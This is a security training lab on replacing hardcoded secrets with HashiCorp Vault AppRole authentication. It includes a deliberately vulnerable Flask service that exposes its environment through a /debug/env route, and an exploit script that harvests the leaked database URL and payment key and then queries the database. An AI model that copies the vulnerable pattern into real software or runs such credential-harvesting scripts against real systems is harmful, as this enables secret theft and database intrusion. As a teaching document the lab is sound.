06. Hands-On Lab: Hardcoded Secrets to Vault AppRole Remediation
In this self-contained lab, you will take on two roles:
- The Attacker: Exploit a vulnerable Python Flask microservice that hardcodes payment API keys and exposes system environment variables via a debug endpoint.
- The Security Engineer: Deploy a local HashiCorp Vault instance, configure AppRole machine authentication, and update the microservice to fetch credentials dynamically with short-lived leases.
1. Environment Architecture & Docker Setup
Create a working directory secrets-lab/ containing the following setup files:
secrets-lab/
├── docker-compose.yml
├── setup-vault.sh
├── app_vulnerable.py
├── app_secure.py
├── exploit.py
└── requirements.txt
File 1: docker-compose.yml
version: '3.8'
services:
postgres:
image: postgres:15-alpine
container_name: lab-postgres
environment:
POSTGRES_DB: payment_db
POSTGRES_USER: postgres
POSTGRES_PASSWORD: MasterPostgresPassword123!
ports:
- "5432:5432"
healthcheck:
test: ["CMD-SHELL", "pg_isready -U postgres"]
interval: 5s
timeout: 5s
retries: 5
vault:
image: hashicorp/vault:1.15.2
container_name: lab-vault
ports:
- "8200:8200"
environment:
VAULT_DEV_ROOT_TOKEN_ID: "root"
VAULT_DEV_LISTEN_ADDRESS: "0.0.0.0:8200"
cap_add:
- IPC_LOCK
vulnerable-app:
build:
context: .
dockerfile: Dockerfile.app
container_name: lab-vulnerable-app
ports:
- "5000:5000"
environment:
- PAYMENT_API_KEY=sk_live_998877665544332211
- DATABASE_URL=postgresql://postgres:MasterPostgresPassword123!@postgres:5432/payment_db
depends_on:
postgres:
condition: service_healthy
2. Part 1: The Vulnerable Application (app_vulnerable.py)
The application contains hardcoded payment gateway credentials and a /debug/env route that prints environment variables.
# app_vulnerable.py
import os
import psycopg2
from flask import Flask, jsonify, request
app = Flask(__name__)
# BAD: Hardcoded Fallback Secret & Reading Unprotected Env Vars
HARDCODED_PAYMENT_KEY = "sk_live_998877665544332211"
DB_URL = os.getenv("DATABASE_URL", "postgresql://postgres:MasterPostgresPassword123!@localhost:5432/payment_db")
def get_db_connection():
return psycopg2.connect(DB_URL)
@app.route('/api/v1/charge', methods=['POST'])
def process_charge():
data = request.get_json()
amount = data.get("amount", 0)
# Process payment using hardcoded secret
api_key = os.getenv("PAYMENT_API_KEY", HARDCODED_PAYMENT_KEY)
conn = get_db_connection()
cur = conn.cursor()
cur.execute("INSERT INTO transactions (amount, status) VALUES (%s, %s) RETURNING id;", (amount, "SUCCESS"))
txn_id = cur.fetchone()[0]
conn.commit()
cur.close()
conn.close()
return jsonify({
"status": "success",
"transaction_id": txn_id,
"charged_with_key": f"{api_key[:7]}..."
})
# VULNERABILITY: Debug endpoint leaking environment variables
@app.route('/debug/env', methods=['GET'])
def debug_env():
# CWE-532 / CWE-256: Exposing raw process environment
return jsonify(dict(os.environ))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
3. Part 2: Exploitation Script (exploit.py)
Run this exploit script to extract the leaked database credentials and payment key, then exfiltrate data directly from the PostgreSQL database.
# exploit.py
import requests
import psycopg2
TARGET_URL = "http://localhost:5000"
def run_exploit():
print("[+] Step 1: Querying vulnerable /debug/env endpoint...")
response = requests.get(f"{TARGET_URL}/debug/env")
if response.status_code != 200:
print("[-] Exploit failed: Debug endpoint unreachable.")
return
env_vars = response.json()
db_url = env_vars.get("DATABASE_URL")
api_key = env_vars.get("PAYMENT_API_KEY")
print(f"[!] EXFILTRATED PAYMENT API KEY: {api_key}")
print(f"[!] EXFILTRATED DATABASE URL: {db_url}")
print("[+] Step 2: Connecting directly to database using exfiltrated credentials...")
try:
conn = psycopg2.connect(db_url)
cur = conn.cursor()
cur.execute("SELECT table_name FROM information_schema.tables WHERE table_schema='public';")
tables = cur.fetchall()
print(f"[SUCCESS] Directly accessed database tables: {tables}")
cur.close()
conn.close()
except Exception as e:
print(f"[-] Database connection failed: {e}")
if __name__ == "__main__":
run_exploit()
4. Part 3: Automated Vault Setup Script (setup-vault.sh)
Execute this script to configure Vault KV v2 and AppRole authentication:
#!/bin/bash
# setup-vault.sh
set -e
export VAULT_ADDR="http://localhost:8200"
export VAULT_TOKEN="root"
echo "[+] 1. Enabling KV v2 Secrets Engine..."
vault secrets enable -path=secret kv-v2 || true
echo "[+] 2. Storing Payment API Key in Vault..."
vault kv put secret/production/payment api_key="sk_live_SECURE_VAULT_GENERATED_KEY_999"
echo "[+] 3. Enabling AppRole Authentication..."
vault auth enable approle || true
echo "[+] 4. Creating Application Policy..."
vault policy write payment-app-policy - <<EOF
path "secret/data/production/payment" {
capabilities = ["read"]
}
EOF
echo "[+] 5. Creating AppRole Role..."
vault write auth/approle/role/payment-app-role \
secret_id_ttl=60m \
token_ttl=1h \
token_max_ttl=4h \
policies="payment-app-policy"
echo "[+] 6. Generating RoleID and SecretID..."
ROLE_ID=$(vault read -field=role_id auth/approle/role/payment-app-role/role-id)
SECRET_ID=$(vault write -f -field=secret_id auth/approle/role/payment-app-role/secret-id)
echo "================================================="
echo " AppRole Credentials Generated Successfully!"
echo " VAULT_ROLE_ID: $ROLE_ID"
echo " VAULT_SECRET_ID: $SECRET_ID"
echo "================================================="
5. Part 4: Remediated Application (app_secure.py)
The secure application removes all debug endpoints and authenticates to Vault via AppRole to fetch secrets dynamically.
# app_secure.py
import os
import hvac
import psycopg2
from flask import Flask, jsonify, request
app = Flask(__name__)
VAULT_ADDR = os.getenv("VAULT_ADDR", "http://localhost:8200")
ROLE_ID = os.getenv("VAULT_ROLE_ID")
SECRET_ID = os.getenv("VAULT_SECRET_ID")
DB_URL = os.getenv("DATABASE_URL")
def get_vault_payment_key():
if not ROLE_ID or not SECRET_ID:
raise RuntimeError("VAULT_ROLE_ID and VAULT_SECRET_ID must be set.")
client = hvac.Client(url=VAULT_ADDR)
# AppRole Login
client.auth.approle.login(role_id=ROLE_ID, secret_id=SECRET_ID)
# Read Secret from KV v2
secret = client.secrets.kv.v2.read_secret_version(
path="production/payment",
mount_point="secret"
)
return secret["data"]["data"]["api_key"]
@app.route('/api/v1/charge', methods=['POST'])
def process_charge():
data = request.get_json()
amount = data.get("amount", 0)
# Dynamically fetch secret from Vault
api_key = get_vault_payment_key()
conn = psycopg2.connect(DB_URL)
cur = conn.cursor()
cur.execute("INSERT INTO transactions (amount, status) VALUES (%s, %s) RETURNING id;", (amount, "SUCCESS"))
txn_id = cur.fetchone()[0]
conn.commit()
cur.close()
conn.close()
return jsonify({
"status": "success",
"transaction_id": txn_id,
"charged_with_key": f"{api_key[:7]}..."
})
# SECURE: Debug endpoint removed entirely!
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
6. Verification & Testing Instructions
-
Start Environment:
docker-compose up -d -
Execute Exploit against Vulnerable Container:
python exploit.pyExpected Output: Displays exfiltrated
PAYMENT_API_KEYand lists PostgreSQL tables. -
Configure Vault AppRole:
chmod +x setup-vault.sh./setup-vault.sh -
Deploy Secure App with AppRole Credentials:
export VAULT_ROLE_ID="<ROLE_ID_FROM_SETUP>"export VAULT_SECRET_ID="<SECRET_ID_FROM_SETUP>"python app_secure.py -
Re-run Exploit against Secure App:
python exploit.pyExpected Output: Exploit fails with
404 Not Found(debug route removed) and zero plaintext secrets exposed!
[!NEXT] Move to Chapter 07: References & Standards to review compliance frameworks, NIST standards, and official documentation links.